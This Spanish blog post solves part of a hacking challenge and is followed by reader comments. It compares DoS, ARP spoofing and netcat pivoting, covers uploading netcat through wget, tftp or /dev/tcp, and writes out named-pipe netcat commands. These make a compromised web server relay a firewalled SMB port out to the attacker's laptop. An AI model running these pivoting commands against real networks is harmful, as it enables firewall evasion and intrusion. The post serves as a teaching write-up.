miércoles, 1 de julio de 2009

Solución: Santa Claus is Hacking to Town (I)

Hace unos días os comentaba este reto que estuve resolviendo en el que necesito acceder a un equipo que parece inaccesible a nivel de red y ejecutar un binario llamado dooropen.exe que sólo tiene permisos a nivel de sistema de ficheros para el usuario jailmaster.

Para más detalles y por no repetirme, podeis leer la entrada de hace unos días, en la que explico en que consiste el reto con más profundidad.

El caso es que nos encontramos con que tenemos que ejecutar algo de una máquina para la que no tenemos acceso a nivel de red, por lo que vamos a necesitar suplantar a Web1 de alguna manera para poder tener conectividad a nivel de red con Door1, sino poco más vamos a poder hacer. Para obtener esta conectividad a nivel de red, hay varias opciones:
  1. Dado que estamos en la misma red LAN que el sistema afectado, podriamos realizar un ataque de DoS de cualquier tipo y, simplemente, ponernos su IP utilizando el comando ifconfig, y de esta manera poder pasar a través del firewall. Esta solución es conveniente tenerla en mente cuando hacemos pentest, pero no es conveniente llevarla a cabo, al menos no sin antes consensuarlo y pactar un horario de mínimo impacto. En el caso de este reto, metiendome en el papel, he descartado esta opción, ya que una DoS del equipo va a alertar a lo amos del calabozo de que algo está pasando, y quizá puedan detectarme y rastrearme antes de que pueda completar mi misión.
  2. Dado que estamos en la misma red LAN, podriamos utilizar otras maneras de realizar suplantación de IP de una manera más silenciosa, como por ejemplo realizar un ataque MitM mediante técnicas de ARP-Spoofing, con lo que conseguiremos que todo el tráfico entre Web1 y Door1 pase por nosotros. Una vez hecho esto, sólo tenemos que crear un interface virtual con la misma IP que Web1 en el equipo que realiza el ARP-Spoofing (# ifconfig eth0:1 inet 192.168.1.6 netmask 255.255.255.0). De esta manera, iniciaremos conexiones desde nuestro equipo con la IP de Web1, las cuales irán hasta el objetivo y volverán a nosotros, pudiendo así establecer la conexión de forma muy silenciosa. Este método sería muy bueno para obtener acceso, y de hecho yo lo utilizo mucho cuando hago pentest (también con cuidado, un error haciendolo y puedes dejar a un equipo aislado de la red por haber envenenado mal su tabla ARP), pero para este reto, aunque posible, no me gusta, porque para realizarlo tendriamos que utilizar el comodón que nos dan para bajarnos ettercap o arpspoof o alguna otra herramienta equivalente, por lo que gastariamos esa opción que vamos a necesitar posteriormente, así que también queda descartado.
  3. Utilizar NetCat para hacer que Web1 nos "puentee" una conexión con Door1: Web1 no presenta ninguna vulnerabilidad en el sistema que podamos atacar, pero sí tiene una vulnerabilidad que permite ejecutar comandos como usuario apache, lo cual puede ser suficiente para usar el NetCat compilado para Linux que tenemos en nuestro arsenal del reto y hacer que la máquina nos haga de "puente" entre nosotros y Door1, evadiendo de esta manera las restricciones del Firewall. Esta va a ser la opción escogida, ya que es silenciosa y no requiere emplear el comodín.
En primer lugar, para realizar esta técnica que ya comenté brevemente al hablar cobre NCat (de Fyodor), necesitamos subir la versión compilada de NetCat para Linux que tenemos, ya que en el sistema no se encuentra instalada y no tenemos privilegios para hacerlo. Para ello, dado que tenemos todas las conexiones salientes permitidas, lo cómodo es utilizar los comandos tftp o wget, que nos permitirán coger de nuestro equipo el fichero que pondamos en nuestros tftpd o httpd y hacerlo llegar hasta el servidor. En el caso de que la máquina estuviera completamente bastionada y estos comandos no estuvieran disponibles, tenemos varias opciones, la primera de ellas es establecer una conexión utilizando el dispositivo /dev/tcp, pero tiene el problema de que en función de la distribución en la que nos encontremos vamos a poder hacerlo o no, ya que algunas lo tienen "capado". La opción que se me ocurre que siempre funcionaría, aunque es la más laboriosa y no me he puesto a probarlo, es codificar el cuerpo del binario en base64, por ejemplo, y posteriormente enchufarselo a la aplicación web vulnerable de alguna forma. Luego de eso, nos vamos a los logs de apache que evidentemente deberán tener permiso para que el usuario apache los lea, y obtenemos dicha cadena en base64. Ya sólo nos quedará volver a pasar de base64 a binario y tendremos nuestro NetCat para Linux en la máquina Web1.

Una vez hecho esto ya podemos empezar a jugar con NetCat, como la máquina Web1 tiene filtrado todo el tráfico entrante salvo el puerto 80 y no podemos bajar el servicio del puerto 80 (nos quedariamos sin poder ejecutar comandos y además sería muy ruidoso, igual que el DoS), no vamos a poder usar el NetCat en modo listening, sólo vamos a poder iniciar conexiones desde Web1. Entonces lo que vamos a tener que hacer es que Web1 inicie una conexión, por un lado al puerto 445 de Door1, y por otro lado a algún puerto de nuestro equipo (80, 443 o 53 son buenas opciones, por si hubiera algún tipo de filtrado, aunque en este caso no se especifica, pero podriamos incluso usar una conexión saliente udp con NetCat al puerto 53 si fuera necesario, ya que NetCat funciona tanto en TCP como en UDP). En nuestro equipo tendremos que tener, por tanto, un NetCat lanzado en modo escucha en el puerto 80 (siguiendo el ejemplo) enganchado con otro NetCat también a la escucha en el puerto 445, que será sobre el que realicemos el ataque.



Para hacerlo, en primer lugar tendremos que lanzar los NetCat que estarán a la escucha, ejecutando en nuestro equipo (el portatil de santa) los siguientes comandos (recordad que tengo que usar corchetes con el símbolo de mayor y menor para que Blogger no me haga cosas raras, pero cuando vayais a usar el comando borradlo):

# mknod tuberia p
# nc -l -p 80 0[<]tuberia | nc -l -p 445 1[>]tuberia

Con esto ya tenemos el portatil de santa preparado y escuchando conexiones, así que sólo nos queda lanzar las conexiones en web1. Para ello utilizamos los siguientes comandos (podemos hacerlo linea a linea o en una sola conexión utilizando ; ):

$ mknod tuberia p
$ nc door1 445 0[<]tuberia | nc santaportatil 80 1[>]tuberia

Una vez establecido esto, podemos conectar con la herramienta que queramos al puerto 445 de nuestro equipo virtual Linux y eso nos dará acceso directo al puerto 445 de Door1, con lo que podemos lanzar el ataque (que aún no hemos comentado como hacerlo) y cumplir con nuestro objetivo.



Todavía no sabemos que vamos a hacer para ejecutar dooropen.exe, pero al menos ya tenemos acceso al puerto 445 de la máquina. En el próximo post, la explotación de JailMasterLaptop.

3 comentarios:

Alberaan dijo...

Lo primero, resaltar el valor didáctico de este tipo de entradas, me ha ayudado mucho.

Lo segundo, comentar una duda:
en WEB1 se ejecuta
$ nc door1 445 0 < tuberia | nc santaportatil 80 1 > tuberia

Y lo comprendo, lo que le llega desde santaportatil por el puerto 80 lo manda a door1 por el puerto 445. Es decir, la máquina nos está haciendo de pasarela. Sin embargo, en door1 no hay ningun netcat en modo listen para escucharlo, no?

La segunda duda es, ¿porqué ejecutamos nc -l -p 80 0 < tuberia | nc -l -p 445 1 > tuberia en la máquina local? No entiendo para qué queremos redireccionar la salida del netcat con web1 hacia uno que no está siendo utilizado (ya que presumiblemente, en door1 no hay ningún netcat conectándose a santaportátil).

¡Un saludo y gracias!

Jose Selvi dijo...

Hola Alberaan, creo que va a ser un poco complicado explicarlo todo en un comentario, así que voy a escribir una entrada en el blog con la explicación, que así puedo poner dibujos y esas cosas, con lo que resultará más fácil.

Un saludo y gracias por el comentario.

Jose Selvi dijo...

Ya está, lo he programado para que salga el martes que viene, así no se me apelotonan los posts :P

Saludos!